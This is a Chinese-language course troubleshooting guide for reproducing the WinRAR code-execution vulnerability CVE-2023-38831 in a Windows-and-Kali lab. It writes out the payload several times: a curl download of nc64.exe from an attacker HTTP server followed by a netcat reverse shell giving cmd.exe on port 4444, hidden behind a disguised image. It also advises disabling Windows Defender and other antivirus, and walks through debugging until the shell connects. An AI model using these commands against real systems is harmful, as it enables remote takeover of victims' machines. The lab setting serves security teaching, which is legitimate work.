【汇总】WinRAR代码执行漏洞CVE-2023-38831

# 前提环境
## 1、确认WinRAR软件版本
使用课程资料中提供的版本（6.23之前的所有版本）。
在后面打开文件的时候，<font color="red">必须用WinRAR打开</font>，而不是其他解压软件。

**确认方法**：
![](/media/202406/2024-06-04_172849_2326510.13423149580184301.png)

![](/media/202406/2024-06-04_172915_3187880.5856767912687314.png)

## 2、确认Windows物理机和Kali虚拟机网络连通
否则下载`nc64.exe`和反弹连接都会失败

**确认方法**：在物理机使用ping命令，ping虚拟机IP
看是否能ping通。

## 3、确认`nc64.exe`文件在Windows可以下载成功
Kali运行HTTP服务，提供netcat文件下载
在`nc64.exe`目录下运行（默认端口是8000）：
`python -m http.server`

**确认方法**：在物理机浏览器访问如下地址（改成Kali IP端口）：
http://192.168.142.162:8000/nc64.exe

看是否能保存成功。

## 4、确认脚本内容可以直接运行成功
检查script.bat内容：
前面的8000端口是提供`nc64.exe`下载的HTTP端口。
后面的4444端口是反弹连接的端口。

**确认方法**：直接打开cmd运行
`curl http://192.168.142.162:8000/nc64.exe -O nc64.exe & nc64.exe 192.168.142.162 4444 -e cmd.exe -d & test.png`

看是否能建立反弹连接成功。

# 排查流程
1、WinRAR的版本是不是有漏洞的版本（6.23之前的所有版本）？
压缩包是不是用WinRAR打开的？

2、8000端口有没有收到文件下载请求？（终端会有200的输出）
- 如果8000端口没有收到请求，那么要检查两台机器的网络连通性，以及检查script.bat的内容是否正确（是不是写错IP端口）。

3、nc64.exe文件被下载保存成功没有？
- 如果没有，可能是被杀毒软件拦截，需要关掉杀毒软件，包括Windows Defender和安全管家之类的软件。

4、反弹连接命令是否执行成功？
可以直接在打开cmd运行：
`nc64.exe 192.168.142.162 4444 -e cmd.exe -d`
如果直接运行都不能成功，那要从网络环境入手。

# 问题1 双击以后窗口迅速消失
8000端口收到请求，但是反弹连接失败
关联问题：
https://www.mashibing.com/question/detail/100698

用录屏软件录屏，然后逐帧查看，可以看到错误：
`Failure writing output to destination`
![](/media/202406/2024-06-04_173342_1374300.3919928533933078.png)

经过排查发现：
在这台电脑上，默认在`C:\Windows\System32`目录下打开cmd。
而当前用户没有这个目录的操作权限。
测试直接在这个目录下执行完整命令，也是报错：
![](/media/202406/2024-06-04_173522_1468650.009627909541613855.jpeg)

## 解决办法：
修改.cmd脚本，先跳转到`当前用户目录`，再执行。
`cd C:/users/Admin & curl http://192.168.142.162:8000/nc64.exe -O nc64.exe & nc64.exe 192.168.142.162 4444 -e cmd.exe -d & test.png`

此时双击图片是可以反弹连接成功的。

# 问题2 kali收到反弹连接以后断开
关联问题：
https://www.mashibing.com/question/detail/100771

这类问题还是要从网络环境入手。